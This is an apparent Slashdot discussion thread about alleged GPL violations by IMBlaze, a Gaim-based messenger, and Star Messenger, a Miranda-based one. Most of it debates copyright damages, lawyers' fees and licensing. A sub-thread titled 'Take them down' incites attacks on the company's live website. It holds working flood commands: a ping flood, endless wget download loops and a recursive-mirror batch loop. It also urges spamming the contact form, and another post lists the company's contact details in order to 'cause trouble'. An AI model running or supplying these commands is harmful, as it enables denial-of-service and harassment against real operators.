Re:IMBlaze a blatant violation

[cpt kangarooski]

This is precisely where the American legal system fails. In order to bring a suit against someone who has committed a civil wrongdoing (ie. not a crime against the state) the full burden of expense falls on the victim.

Of course, in copyright cases, you can try to get attorney's fees awarded. And you can always see if there is a lawyer willing to take the case on contingency. So it's hardly as bad as you make it out to be.

The solution is a streamlined system of justice which isn't endlessly bottlenecked by paperwork, frivolous forms, and lawyers.

It's actually pretty streamlined now, particularly when you bear in mind that justice is often more highly valued than mere swiftness.

If a GAIM developer should walk into an attorney's office with proof that IMblaze is a ripoff of their code, there should be a compensation check and a court injunction against IMblaze within 24 hours.

That's simply ludicrous.

Re:IMBlaze a blatant violation

[cpt kangarooski]

EVERY SINGLE SALE or DOWNLOAD is now a separate copyright violation, punishable by $20,000/USD to $200,000/USD PER INCIDENT.

Where are you getting these numbers from?

Re:IMBlaze a blatant violation

[Frogbert]

Well it looks like someone has had a go at their forums.

Re:IMBlaze a blatant violation

[mbius]

It's actually pretty streamlined now, particularly when you bear in mind that justice is often more highly valued than mere swiftness.

Pardon, but we are presently trying a Mississippi klansman for murders committed 40 years ago.
"Streamlined justice" is a hard label to apply to a system with electioneering on one end and grassroots IT on the other.

That's simply ludicrous.

I'd say "optimistic." Ludicrous is monochrome machines in the courthouse that need half a minute to perform a search query.

Re:IMBlaze a blatant violation

[hacker]

"Where are you getting these numbers from?"

Our FSF attorney and the United States Copyright Agreement that we all had to fill out in order to litigate our claim in court ($25.00 + first and last 10 pages of source code sent in to the US Copyright Office, etc.)

Re:IMBlaze a blatant violation

[cpt kangarooski]

Well, I think they're off. Registrations are $30, and civil damages are either damages+profits or as much as $150,000 per _work_ not per infringement. (Or as low as $200, but not both at once)

Re:IMBlaze a blatant violation

[SilverspurG]

you can try to get attorney's fees awarded

Keywords: try, awarded.

This is about startup capital, not after-the-fact awards. There is no try or award if you can't afford the case in the first place.

As usual... troll troll troll your boat.

Re:IMBlaze a blatant violation

[cpt kangarooski]

Hence, contingency fees.

If you win, you pay nothing up front to the lawyer, and the lawyer takes a share of the award at the end of the case.

If you lose, you pay nothing at all to the lawyer.

It's designed so that clients that can't afford to pay hourly fees can still effectively go to court.

Re:IMBlaze a blatant violation

[imbowner]

Hi guys, I'm the Owner of IMblaze. Imblaze has NOT been marketed or used in over a year and a half. I launched it the first time knowing about the GPl and was going to obide by it's license, since I read about a guy that started a search engine and a bunch of other website using open source. I thought it was ok...little did I know that my programmer was going to screw me and not give me the SC for gaim to release...snd I realized that using Gaim is not the way to go for the type of project I was trying to create...it was a bit of a contradiction to the point of having an open source IM. So after 4 weeks I shut it down to reporgram an entire new system and my own proprietary IM. I have spoken with Rob Flynn originally and am in contact with Sean Egan. They were both understanding. I apologize for not knowing fully what open source was about a year and a half ago...but now I comprehend all of these different edges of the market. I left the site up just for tyhe hell of it...I knew it wasn't getting traffic so I just wanted to keep the old site up till I launch the new one...but the system is NOT running. I should have disabled the exe link. I will tell my programmer to take it down ASAP...this is not a problem. I even told them before but they couldnt find the file...which was weird so I left it. I will find it one way or another and get it down. The only traffic it is getting now is from Gaim supporters...even check the ranking on alexa.com. Anyways, I would appreciate if you guys can take the post down now and stop flaming me and subscribing me to newsletters and such. I understand your disappointment...but again this has been shut down over a year and a half ago. Josh

Re:IMBlaze a blatant violation

[SilverspurG]

If you win, you pay nothing up front to the lawyer

Is that like buying a car and paying nothing if the car breaks within the warranty period? I'd like to find a car dealer that engages in that.

There are lawyers who will work for free, up front, until the close of a case? Really? Maybe if they've been handed an open-and-shut case with a guaranteed win which they can milk for every billable hour it's worth.

It's designed so that clients that can't afford to pay hourly fees can still effectively go to court.

Uh-huh. Funny how it just never seems to apply in real life. If it did, then you'd be jumping on the GAIM vs. IMblaze case right now, wouldn't you?

Why aren't you?

Could it be because I'm right and you're trolling? No lawyer ever works for free unless they're two paychecks away from starving.

Re:IMBlaze a blatant violation

[cpt kangarooski]

There are lawyers who will work for free, up front, until the close of a case? Really?

Oh yes. It's a very popular practice with plaintiff's attorneys in tort cases.

Obviously, though, some situations can't be handled on contingency. The way it works is that the lawyer gets a share of the eventual monetary award. So if there couldn't be an award (e.g. you're the defendant) or if it's prohibited (e.g. divorce cases) then you're stuck with regular fees.

Maybe if they've been handed an open-and-shut case with a guaranteed win which they can milk for every billable hour it's worth.

Contingency cases don't really involve hourly billing; instead, the lawyer gets a percentage of the eventual award. Usually it's around one third.

Whether a case is handled on a contingency basis or not is largely subject to the ethical rules that lawyers are required to follow and whatever the lawyer and the client can agree on. Lawyers don't have to offer it, and clients don't have to accept it.

Funny how it just never seems to apply in real life.

If you ever see an ad for a lawyer on TV, billboards, etc., I guarantee that they'll be talking up a storm about contingency fees, probably for personal injury cases.

If it did, then you'd be jumping on the GAIM vs. IMblaze case right now, wouldn't you?

Why aren't you?

I'm not that interested in it, at the moment. Plus we're pretty heavily regulated as to how we can advertise and solicit business, so it would be a bit of a PITA anyway.

No lawyer ever works for free unless they're two paychecks away from starving.

This is funny, since most jurisdictions require lawyers to do a certain number of pro bono hours annually. As it happens, I've represented numerous clients for free.

But remember, we're not really talking about pro bono work. We're talking about contingency fees, where the lawyer is gambling on his getting paid in the end, rather than up front. Lawyers on contingency aren't working for free.

Re:IMBlaze a blatant violation

[SilverspurG]

I'm not that interested in it, at the moment. Plus we're pretty heavily regulated as to how we can advertise and solicit business, so it would be a bit of a PITA anyway.

What a surprise. There's always some excuse somewhere. Perhaps you can provide references of attorneys who do work in that sector? No? Don't know anyone, huh? Gosh. What a shame.

You know, until I see "Slashdot's own Capt. Kangarooski helps take down GPL violators" I think it's pretty safe to say that you're all talk and no show.

Shall we dispense with the bull? The reason why inequities exist is because laywer's can't be bothered for anything less than $5000. Justice, it seems, has an ante.

Re:IMBlaze a blatant violation

[cpt kangarooski]

The reason why inequities exist is because laywer's can't be bothered for anything less than $5000.

Not at all. So long as you pay the hourly fee, you'd have little trouble finding a lawyer that was willing to bring a suit for nominal damages or injunctive relief.

But if you want them to work for free, you're going to have the same problem that you'd have with getting anyone to work for free. People don't do that much, as a rule. Lawyers do, but usually only for relatively indigent clients.

Plus, most inequities have other sources. The judicial system is an attempt to solve some of them, not to create more.

Re:IMBlaze a blatant violation

[SilverspurG]

So long as you pay the hourly fee

As usual you're not paying attention. This entire discussion has been about "How is a GPL author supposed to come up with the money" to pay the hourly fee? Perhaps you'd like to admit that the judicial system is a sham.

But if you want them to work for free

Gosh, and here I thought that lawyers drove rich cars and had rich houses because they were actually giving back to their community through their talents. Are you going to (finally) admit (of course not) that it's really nothing more than shameless graft between lawyers and politicians which provides such rich worldly rewards? How much is enough? Does greed truly have no end? You spoke of pro bono work earlier. You and I both know that pro bono requirements are (laughable) mostly met by filling out marriage certs, divorce papers, and handling custody cases for low income families. When's the last time a case handled on a pro bono basis actually set a legal precedent that did society, as a whole, any real good? Has there ever been one?

The judicial system is an attempt to solve some of them, not to create more.

It's failing miserably.

Re:IMBlaze a blatant violation

[cpt kangarooski]

This entire discussion has been about "How is a GPL author supposed to come up with the money" to pay the hourly fee?

Which brings us right back to my suggestion that the author find an attorney willing to take the case on contingency, and sue for damages, along with injunctive relief. The lawyer gets a share of the settlement or the award, and the author doesn't have to front anything.

Gosh, and here I thought that lawyers drove rich cars and had rich houses because they were actually giving back to their community through their talents.

You need to know more lawyers. We're not all rich. God knows I'm not. Besides, law isn't what you go into if you want to get rich. Investment banking is much better.

You and I both know that pro bono requirements are (laughable) mostly met by filling out marriage certs, divorce papers, and handling custody cases for low income families.

Yes. All of which are quite important for the people involved. Especially since you can't have contingent fees for those things.

When's the last time a case handled on a pro bono basis actually set a legal precedent that did society, as a whole, any real good? Has there ever been one?

Yeah. There've been some civil rights cases along those lines.

But what does it matter here? GPL violations are pretty basic copyright infringement / breach of contract cases. They're not of great societal worth.

Re:Start making examples

[Ingolfke]

If someone ripped off your code, sue 'em, screw 'em and boo 'em.

Actually, this is not what needs to be done. Lawsuits, yes, w/ plenty of media attention, but the point should not be to attack businesses. Instead it should be to legally strengthen the GPL and show that open source code is of such high quality that businesses use it in their own commerical products. Suing business for astronomical payouts would result in short term gains for open source, but would scare many businesses away from trying open source legitamatemly for fear that they expose themselves to legal risk.

There is no conflict.

[PsiPsiStar]

Do you really see a conflict here?

In this case, respecting copyright is "letting information be free."

Just because a work is in the public domain you still have to cite it if you use it as a source.

Re:There is no conflict.

[adrx]

...I wonder if violating the GPL might not become a way to get free media exposure. 1. Steal some low level code from GPL software 2. Get noticed 3. Re-program 4. Profit!

Re:Today is...?

[stinerman]

I don't see how this is not an "information wants to be free" issue. In this case, free software was incorporated into a proprietary program, thereby "imprisioning" the free software. Most people can see this is a greater offense than taking proprietary code and releasing it to the public as free. I'm sure you can see the distinction, but decided to ignore it as to troll.

Are you going to finance this legal battle?

[CyricZ]

Are you prepared and willing to finance this legal battle you propose? Remember, lawyers are not cheap. And many open source developers are students who can barely afford to eat Kraft Dinner, let alone afford a lawyer to defend the copyright on a piece of software they're not making any direct financial gains from. If you want this courtroom battle, then you'll have to finance it yourself.

Re:Are you going to finance this legal battle?

[cfulmer]

If it's a good enough case and if IMBlaze actually has some cash, then finding a lawyer who will do it on contingency shouldn't be too hard.

The GAIM developers could transfer their copyright(s) to the FSF and let them hack it out.

Re:Start making examples

[Homology]

Actually, this is not what needs to be done. Lawsuits, yes, w/ plenty of media attention, but the point should not be to attack businesses. Instead it should be to legally strengthen the GPL and show that open source code is of such high quality that businesses use it in their own commerical products. Suing business for astronomical payouts would result in short term gains for open source, but would scare many businesses away from trying open source legitamatemly for fear that they expose themselves to legal risk.

That something is Open Source does not imply that it has a GPL license. One should inform the companies that there are other more free licenses, like the BSD license, and they may freely use such licensed software. I find it pretty dumb of a company to use Linux in, say a wireless router, when they don't want to release the source code for their drivers. They could quite simply have used OpenBSD or NetBSD, and saved themselves some major embarrasedment.

Theft and intellectual property

[Anonymous Coward]

As we good slashdot users know, it's not theft when IP is appropriate from big evil faceless corporate monoliths that make money. But it's totally evil stealing when it's the GPL!

Re:Theft and intellectual property

[Luke-Jr]

There's a difference between exercising your rights to share and modify information and plagiarism+denying others those rights.

Re:Theft and intellectual property

[KDR_11k]

rights to share and modify information

Those exist only when the rightholder has decided to grant them to you when the information is copyrighted.

Re:Theft and intellectual property

[Luke-Jr]

All humans have a natural right to modify and share information. It doesn't matter who originally thought of the information or where they obtained it.

Copyright violates these natural rights and is an unjust law.

Re:Theft and intellectual property

[KDR_11k]

All humans have a natural right to modify and share information. It doesn't matter who originally thought of the information or where they obtained it.

Granted by whom or what, exactly? If you're saying "nature", yes, I also have the natural "right" to take anything I want wherever I find it. Hell, going by nature I'd have the right to kill my neighbor and eat him (becuse nature's not gonna stop me). Of course property, intellectual or physical, is not defined by the laws of nature, however they are defined by society. If you want to be part of this society you have to play by its rules. You are free to leave the country if you don't want to live under the rules this society has defined.

(cough) portability

[matt me]

>Miranada is the best open source multiprotocol IM client around
How about multi-platform? Sure well-coded OSS ported to Windows is cool (eg The GIMP), but Windows-only OSS?
It's verging on hypocritical idealogically (if it could be ported, it should) and very few Windows end-users are ever going to compile it from source (certainly more than 3 commands on Windows (exception perl modules))

Re:(cough) portability

[timmyf2371]

So port it then. The source is there for you to make your non-Windows port.

I fail to see how this is verging on hypocritical idealogy - the developers of a piece of software have licensed it under an OSS license and the source is available if anyone does want to port it to another platform.

Re:(cough) portability

[WowTIP]

"It would be very difficult to port", is the answer that has been given upon numerous requests for porting to Linux. Apparently Miranda IM relies heavily upon Windows libraries and would more or less have to be rewritten from scratch for other platforms.

This is what I have read. Not sure about the validity of the claim...

Re:(cough) portability

[Beale]

At least ReactOS users should be able to compile it happily. :)

Re:(cough) portability

[Pius II.]

I have been a Miranda developer way before it became popular. It was basically a wrapper for icqlib back then (no multiprotocol or anything). Anyway, already in its infant stages, Miranda was _totally_ dependent on the Win32 API. That's why it's so nice: the Win32 APIs are "model citizens" in the Windows world. Too bad nobody uses them...
So, I think that about the only way to port Miranda to any other platform would be a total rewrite. And that would not be worth it, since it's just a (admittedly polished) wrapper to several cross-IM libraries at the end of the day.

Re:Today is...?

[Homology]

I don't see how this is not an "information wants to be free" issue. In this case, free software was incorporated into a proprietary program, thereby "imprisioning" the free software. Most people can see this is a greater offense than taking proprietary code and releasing it to the public as free. I'm sure you can see the distinction, but decided to ignore it as to troll.

The grand parent comment was, in my opinion, a sarcastic remark about the double standards often seen on /. regarding copyrights holders rights. You seem to have no problems with violating some copyright holders rights, and this happened to Miranda developers rights as well.

bad logic

[markb]

The Miranda folks seem to be making a pretty shaky leap in logic.

1. The binary doesn't display our copyright text.
2. The notice that the binary displays originates in the source.
3. The GPL says the copyright notice must not be removed from the source.
4. Therefore, this is a violation.

Huh?!

They state that "inside the source code none of the copyright notices have been altered." That all the GPL really requires in terms of copyright notices.

The other "violation" they point out is that the old project files were removed and replaced with new project files. As long as the source shipped with the binary contains everything needed to build the binary, this is not a violation. That is, if Star Messenger was built using a newer build system, they only need to include project files for that newer build system. Star Messenger is free to remove files from the source that they don't use.

Re:bad logic

[TERdON]

That IS indeed a violation of both the GPL and most copyright laws. It's a violation of the GPL because it doesn't allow you replacing copyright notices so as to make the program look made by someone else. For reference, GPL 2c:

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

Re:You fool!

[erroneus]

I think you are one of about maybe 250 people who think there is a double standard when it comes to copyright issues.

Let me try to clarify a few points... maybe then there will be 249 people left without a clue:

1. If the situation were reversed (closed/proprietary source included within an OSS project) there would be a huge stink about it. So make no mistake. It would be immensely easy to show and the perps would be shamed out of the community. I think that's the reason it probably doesn't happen...(that often? I've never heard of it before.)

2. What makes "us" angry about big companies doing bad things is attempting to and often succeeding in taking away our rights and freedoms in order to secure their business model. I don't think there has been a single instance of people getting pissed off over a company embracing and following the GPL rules. In fact, when it happens, we generally flock to these companies in droves. Linksys is a perfect example of this effect. They use Linux in their WRT54G and it's incredibly popular as a result. Speaking only for myself, I look for the Linksys label now when getting small network equipment.

This stuff has nothing to do with music and movies, so don't even go there. It's not the same thing in my mind nor in the minds of others I reckon. It would only become similar if we attempted to make money from copying CDs and DVDs and claimed that we created those works ourselves.

I only wish physical goods could be shared in the way software, music and video can be shared... hunger would be a forgotten problem. (Sure, you can take my sandwich to make a copy for yourself...) If everyone had everything they ever wanted, what would the world come to though? Maybe I'll write a book and give it out to the world for free.

Oh God, this bullshit again

[mcc]

This would make more sense if you weren't comparing making an unauthorized copy of something for personal use,
to taking someone else's product, repackaging it, and reselling it as a commercial venture.

But even then trying to reduce the views of the millions of people who read slashdot down to a single viewpoint is asinine.

Re:Oh God, this bullshit again

[mattyrobinson69]

its more akin to copying a metallica song, playing it in a cd player and miming it, claiming it as your own and selling it to just copying a metallica cd for a friend or downloading it.

Re:contact info, lets cause the ass's some trouble

[Pinefresh]

Company Headquarters:

Softroute Corporation
155 Commerce Valley Drive East
Thornhill, Ontario
Canada
L3T 7T2

Contact by Fax:

FAX #: (905)886-4216

Contacts by E-Mail:

General Inquiry
info@softroute.ca
jobs@softroute.ca
par tners@softroute.ca

Customer Service
customercare@softroute.ca
sales@softrout e.ca

Take them down

[idonthack]

Everybody go to their contact page, fill it out with dummy information, and submit it.

Re:Take them down

[Anonymous Coward]

mkdir download
cd download
:back
del *.* /Q
..\wget -r http://www.imblaze.com/
goto back

Re:Take them down

[mogwai7]

That appears to be a regular batch file, just install wget for windows

Re:Take them down

[bcmm]

And what's wrong with a pingflood?

ping -f www.imblaze.com

And they can't block it by filtering HTTP requests from DDOSing clients.

Re:Take them down

[AnonymousCowheart]

while true; do
wget http://www.imblaze.com/download/IMBlazeVersion1Bui ld310.exe
rm -rfv www.imblaze.com
done
-----
That file is pretty large:)
I found it by using wget -r http://www.imblaze.com/screenshots.asp
which is also useful

Re:Take them down

[AnonymousCowheart]

ooops, if you're going to use the above, instead of the screenshots, make it rm *.exe

Re:Take them down

[Spetiam]

Better ideas:
1. Hit them where it counts. Find out who their advertisers and voice your grievances. I'll bet there are more people in this sub-thread than use IMBlaze.
2. Launch an informational site (or page on gaim.sf.net) and Google bomb it so that anyone who's likely to run across imblaze.com will also run across this other site.
3. And of course... Find out who they are and in what jurisdiction they're located. Take legal action if possible.

Re:Take them down

[Saeger]

I think I'll download it one million times; at 7MB, that's still only about 1 DVD worth of data (not including their access_log bloat)...

$ for i in `seq 1 1000000`; do wget http://www.imblaze.com/download/IMBlazeVersion1Bui ld310.exe ; done

Re:Take them down

[bcmm]

How is that a reply to my suggestion, which was itself a reply to the idea of flooding it with HTTP requests?

A pingflood would take up both upstream and downstream bandwidth, and would hit harder because it wouldn't slow down when the server starts to feel the load.

Re:I'm confused

[EvilSporkMan]

What IP? The protocols were either reverse-engineered or published, no violation there. Miranda doesn't run any servers, therefore it's the users' problem if the users use Miranda without permission. Simple.

Re:I'm confused

[Saeed al-Sahaf]

AOL, MS and Yahoo want the legal status of common carriers with their IM systems, which means they actually have to be common carriers.

Really? They do?

Re:I'm confused

[alex_ware]

It is a GPL violation which means that those developers of the other two IM programs couldnt be arsed to write their own code from the specs or reverse engineer the network traffic but simply stole the code that the people at Miranda, who did it for free and slapped a price lable on it.

OcHomer

[sharkey]

But I brought you Ben-Gay, oh Andy!

Wow. Just wow.

[zippthorne]

Even more creepy than you've let on. They appear to take GAIM's code to use AOL's chat network to send THEIR ads. (Though if they use gaim code, they're right about it using the best IM client...) It's not as if they're providing an unique service (a la gaim allowing you to use AIM on linux and consolodate IM clients.. or a la AIM java-client allowing you to use IM on any java capable machine or a la AOL allowing you to use their servers for free)

If Gaim can't do anything about it, maybe AOL will.

Re:Just shows open source doesn't work

[RPoet]

Why should software be free, there's no open source supermarket, no open source houses, no open source cars etc. why should software be free and open source?

Because software can technically be copied at no cost, and therefore has the potential of empowering all people. While your computer is a file copier, have you ever seen a supermarket copier, a house copier, a car copier? No. Each "copy" of a car takes much costly resources. The day we are able to copy these things as easily as files, I'll be a huge proponent of free (as in freedom) cars and houses.

The other aspect of software freedom, namely that of open specs so you can learn from it and improve it, are mostly already present in cars and houses. You can open the lid of a car or tear open the floor of your house to see how it was built and maybe improve things.

Re:I'm confused

[KDR_11k]

A protocol is a method, that would fall under patent law, not copyright law. Copyright can only protect the actual program that uses the protocol. Since this isn't DRM the DMCA doesn't apply either.

Must Preserve All Old Code?

[BinBoy]

So that is violation #2! they do provide project files for a newer compiler but the real Miranda source supports either MSVC++ 6.0 or gcc (or both) this violation is important because they now lose their rights to distribute their lame third party modifications as binaries

Eh? Are they saying the GPL requires the new developer to preserve all existing parts of the project?

Let's say a project was created with a compiler from 1989 and someone adds a a new file in 2005. Is the new developer required to find a 1989 compiler so they can keep the old project file updated instead of just distributing the one from their 2005 compiler?

Correct this situation now or...

[SuperDuperMan]

risk having your Miranda rights read to you!

Re:Just shows open source doesn't work

[RPoet]

That doesn't make any sense. To copy a file you have to have a hard drive, software, processor -- mostly a whole computer.

Yes, you need a file copy device to copy a file. They come very cheap these days, and even developing contries have them.

And what do you need to copy a supermarket, a house, a car? You cannot copy them with any devices known to man today, you have to build new ones. On the other hand, to copy a computer program, you don't have to hire programmers to code it all over again, you simply issue the "copy" command on your computer, and seconds later the job is done. Making it any harder is to enforce artificial scarcity, which is what free software is out to combat.

The plot thickens!

[sg_oneill]

Ok. Fucking wow.

I just downloaded this abomination, and yep, up comes the GPL licence.

*THEN*

Up pops the part where you have to enter the serial code. Oh yeah. The sourcecode AINT on that site, and it AINT in the package. Do you detect a problem? I do.

Anyway. Lets just see what
strings imblaze.exe reveals;-

Theres;
GAIM_NO_DLL_CHECK
gaim.dll
gaim_main

Yup its gaim.

Interestingly removeing imblaze.dll from the plugins directory *seems* to remove the advertising crap.

Theres more. "idletrack.dll" won't delete when I delete this. It means that its in use somewhere. Raise any alarm bells?

Finally, anyone got any idea where this thing keeps its configuration. I'm working on a theory that by deleting imblaze.dll from plugins BEFORE running it, one can bypass registration and use it as plain old gaim.

IMBLAZE WHERE THE FUCK IS THE SOURCE?

Re:The plot thickens!

[sg_oneill]

Ok. on a bit of research idletrack.dll *may* be non-malicious and a standard bit of gaim.

Re:The plot thickens!

[Huogo]

Thats common with Gaim as well. When upgrading to the next version of gaim, often idletrack.dll can't be overwritten because it is still in use.

Re:The plot thickens!

[Ben Hutchings]

Idle-time tracking under Windows requires use of an "input hook" DLL that will be loaded into every process that has a window in the session.

Again?

[VStrider]

Miranda was dealing with a gpl violation 2 years ago. The infringing app was ZeeZ IM.

Re:Today is...?

[stinerman]

Notice that I said a GPL violation is, morally speaking, a greater offense than violating copyrights on proprietary code. Do notice that I said that both were an offense, just that one was greater.

This would be consistent with stealing from the poor v. stealing from the rich. Obviously, both are wrong (in most cases), but I think more people would agree that if one had to steal, one should steal from the rich rather than the poor. Such is the same with software -- steal from MS, rather than from GNU, Linux, BSD, etc.

Re:Let me see if I understand this....

[mcc]

Straw man arguments are never okay.

Observing people on a message board who feel some way about A,
then observing people on same message board who feel some way about B,
then going "AHA! This message board has hypocritical views on A!",
is never anything but stupid. You want to complain about some hypothetical opinion? Fine. Find someone expressing it first, then explain why it's hypocritical. Don't just set up a big box labeled "HYPOCRITE" in a public space, then try to back random people into it.

The new BSD license != "do whatever you want"

[jbn-o]

This explanation is where the argument falls down. The new BSD license (or the MIT X11 license which is quite similar) still have requirements for those who distribute derivative works. The requirements are not many, but they are not zero either.

In particular, you may certainly not "do whatever you want" with the source code or any derivative works. The only way to have that power is to either write your own code or base your work on something in the public domain. And even then you cannot "do whatever you want" with any code which implements patented ideas (one of the significant shortcomings of the new BSD and MIT X11 licenses) for which you don't have the appropriate patent license(s).

Furthermore, stealing is not copying. What we're discussing here is not theft, but copyright infringement (I also brought up patent infringement). Those who have the power (yes, power not freedom) to sublicense are not stealing anything, even if the derivative distributor does something that is against the copyright license.

Re:Just shows open source doesn't work

[RPoet]

I'm obviously not saying we can free ourselves from everything physical and exist as a quantum singularity or whatever. But computers nowadays are so ubiquitous, and so affordable, that most places in the world, most people have them (or at least some level of access to them). So the prescence of a file copier can mostly be taken for granted. Given that, files can be copied freely (also remember, freedom isn't only about cost). This is why free software is a continuing success everywhere.

But yes, not all people have computers, and it's a continuing goal to mend this.

Re:Just shows open source doesn't work

[Kent Recal]

You can open the lid of a car ... to see how it was built and maybe improve things.

Well, when I tear open the lid of any recently built car then I see the basic stuff every car has and... SMD microchips.

I dare to claim that it does indeed take some ressources to access, reverse engineer or even modify them to any worthwhile extend.

There's a "car modding"-industry now, offering all kinds of assistance with the task but AFAIK the more interesting parts of a cars "business logic" are generally deliberately locked down.

Then it WOULD be viral!

[Xtifr]

I frequently get pissed off at all the trolls who call the GPL "viral". However, if it worked the way you suggest, then it WOULD be viral! You should get, and you deserve, control over your own code. You neither need nor deserve control over someone else's code! Which is exactly how it works right now.

If it really bothers you all that much, then, when it happens to you, you can try to go for your share of the profits and maybe some punitive damages on top when your case comes up. If you can establish that they knew what they were doing, and deliberately decided to risk it anyway, then getting punitive damages should be a snap. But just forget about the trying to open up other people's code against their will! You're not going to find anything in copyright law or the GPL to support that, and neither (IMO) should you.

The GPL is not viral because the GPL is a defense! Keep that in mind, and you won't have unreasonable expectations.

ROFL

[Arker]

Though our legal department forbids the use of any GPL software due to GPL issues (a much more monopolistic license than even Microsoft),

Ok, you know, I usually hate trolls, but that was made my day. I laughed and laughed and laughed...

OSS violations and outsourcing and a solution

[typical]

Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

You ever wonder why outsourced code is so cheap?

Oh, there are a number of reasons, but the only occasion I've run into code outsourced to India, it had stolen code present.

I read another story about the CherryOS people doing the same thing (giving the Indians everything they need and clearly asking them to infringe on copyright, and then letting the Indians do the actual illegal work -- when the CherryOS people got charged with copyright violation, they just pointed at the Indians and claimed that their hands were clean).

This is obviously not true of all outsourced software development, but based purely upon the anecdotal evidence that I've run across, it is a significant element -- outsourcing actually being used more as a tool to violate copyright on open source software than as a way to get lower labor costs.

(And while I am a US citizen, my job is not threatened by outsourcing, so this is not simple disgruntlement -- more, I'm irritated about this from the standpoint of big companies seeing a way to "get away with" infringing on OSS software, and claim that they didn't know a thing about it.)

I've seen stories of some cell phone software that took a similar route...

It's not an unreasonable idea. Software often has a short lifecycle, and development cost (and time) is crucial. Companies would desperately love to use OSS software, and the chance of getting caught when nobody can audit your source is pretty low.

The fact that so many companies (router companies, anyone doing embedded systems, etc) are getting nailed on simple, easy-to-hide violations like looking for strings makes me wonder how many clever violators there are out there.

And even those violations are often obvious (someone makes something that runs Linux, so if they didn't publish the source, there's obviously something wrong).

There are a couple solutions I see.

First, the obvious Big Club approach. Let ambulance chasers solve the problem. Let lawyers sue companies for huge amounts of punitive damages. However, this does have drawbacks. We've tried to solve health care quality problems in the US with this solution, and what happens is that those huge payments that buy mansions for law firm members come out of the pockets of everyone that has to buy products -- we have high malpractice insurce costs, and very high health care costs.

Second, it would be possible for some clever open-source developers to write a piece of software that can rapidly scan code for similarities to a database of existing code. You submit all CVS codebases on Sourceforge and that sort of thing to the database. Then it would be easy (a) to audit code, and (b) to require code to be audited against such a database by outsourcing companies as part of due dilligence. (This could actually be done fine by closed-source developers, as it is marketable to universities as an anti-cheating tool, but I'd like to see a FLOSS implementation.) This is not an easy problem to solve -- first, quickly finding similarities in a vast amount of text is a hard computer science problem to solve (comparing IR tree output from GCC might be a better idea, though still not simple). Second of all, those intentionally violating copyright can be expected to run their code against such databases themselves until it "passes the tests", much as any spammer worth his salt tests his spam against SpamAssassin. That means that the system has to be *so* clever that it has to be a comparable amount of work to modify a piece of infringing software to pass the tests as it is to write a new, similar piece of software.

Re:Start making examples

[slavemowgli]

I agree that education about what you can and can't do with FOSS can only be a good thing.

On the other hand, I'm not convinced that businesses really do not understand what they can and cannot do. Pretty much every individual seems to be able to understand the basic spirit, at least:

* GPL = use it, but you have share it just like I did;
* BSD (original) = use it, don't share it if you don't want to, but you have to acknowledge me.

Claiming that companies fail to understand these fundamental principles is like claiming that they fail to understand that you cannot copy Windows on as many computers as you'd like just because you happen to have the CDs.

Of course, there may be companies who really don't know these things yet, but ask yourself - if you didn't know whether you could legally take someone else's work and build on it, would you do so? Would you build on it without even so much as sending an email and *asking* whether it's legal? Without consulting your company lawyer? Without listening to the developers' concerns - developers who are, I dare say, reasonably likely to have heard of the GPL at least? And even if you do... would you *release* it as a propietary product?

What also seems to indicate that these people full well knew that what they did was not legal is the fact that they actually bothered to remove all copyright notices. Think about that - if they really believed that it was legal to use the code, that the original developers agreed to it and allowed it, why would they attempt to hide where the code came from?

It's like when you encounter someone at the rear entrance to your house in the night - they might tell you that they got lost and thought it was their own house, for example, but while you normally might even believe that, you probably wouldn't if the person in question happened to wear a mask and carry a glass cutter, a big bag filled with your valuables, and a map of your house with a cross marking the spot where your safe is located. They still might claim they just got lost, but while you'd give them the benefit of doubt in the first case, you probably WOULD conclude that they're a burglar in the second.

Re:Start making examples

[hacker]

"One should inform the companies that there are other more free licenses, like the BSD license, and they may freely use such licensed software."

(emphasis mine)

You didn't define "free" there, but it certainly isn't free as in freedom, even if it was obtained at no cost to the company.

Free Software (ala the GPL) is about making sure the code remains available, so others can take advantage of it, improve upon it, and share those improvements with others.

The BSD license, in almost every single commercial case, is used in exactly the opposite way of this mantra. Companies (like Microsoft, SCO, Sun and others) regularly take BSD code, improve upon it, and keep those improvements proprietary, closed, known only unto themselves. Nobody outside the nexus of the company can take advantage of those improvements.

They take the oxygen out of the community that gave them the code in the first place. Its selfish, rude, and a slap in the face of the developers and the community that helped them by writing code they found useful enough to use in their commercial products.

In other words... NOT free.

My bad

[PsiPsiStar]

Wasn't thinking. Yeah, you don't need to cite your sources if you plagarize somthing in the public domain.

Re:On Stealing...

[facelessnumber]

Some difference... Someone downloads an MP3 that they'd never have bought legally if given the opportunity, then they haven't stolen anything. Nobody lost anything. Some kid downloads a warez copy of Photoshop knowing there's no way in hell he'd have been able to afford it in the first place, then nothing's stolen. Nobody lost anything. In fact, if a few thousand kids do that and get some skills with the software, then it actually helps later on when they go to work and get asked to spend the company's money on a graphics app. (Although that's beside the point) Someone downloads warez for eval, then nobody's lost anything unless the person doesn't buy it instead of just wishing he hadn't bought it. (Would you buy a car without a test drive? Did you steal that time behind the wheel when you decided to get something else?) If someone dowloads a movie that they wouldn't have ever paid to see, no one's lost anything.

On the flip side though, when someone diverts profit...

Someone downloads a movie, makes a few dozen DVDs with inkjet-printed labels and sells them out of the trunk of a Caprice across the street from Blockbuster or the movie theater for five bucks? That's stealing. A person or entity who can plainly afford and otherwise would buy that copy of Photoshop if it weren't so easy to get warez? That's stealing. Get a bunch of albums off Kazaa or Gnutella and sell 'em to people who'd otherwise have bought them legitimately? Stealing. Grab a GPL'ed app, hide what it is, snatch out all the copyrights, credits and license, bundle some spyware/adware with it and seek revenue from advertisers? Oh you better believe that's stealing.

See the difference?

False statistics

[SamerAdra]

Hooray for infinite loops. I think I've downloaded their program a few hundred times by now...If we can get enough people on this for long enough, we'll pass Firefox soon enough...What's it at, 65 million?

Re:Bah

[junkcode]

I kinda have to agree with you. Sometimes I think if your doing an innovative program, its better you don't give out the source code.

Otheriwse, some big crap firm would come along.. rip off the source-code to incorporate into their 'commercial product'.. and make $$$.

nanotech garuntees that.....

[crhylove]

...at some point... hence the importance of open source software now!

rhY

Re:You fool!

[erroneus]

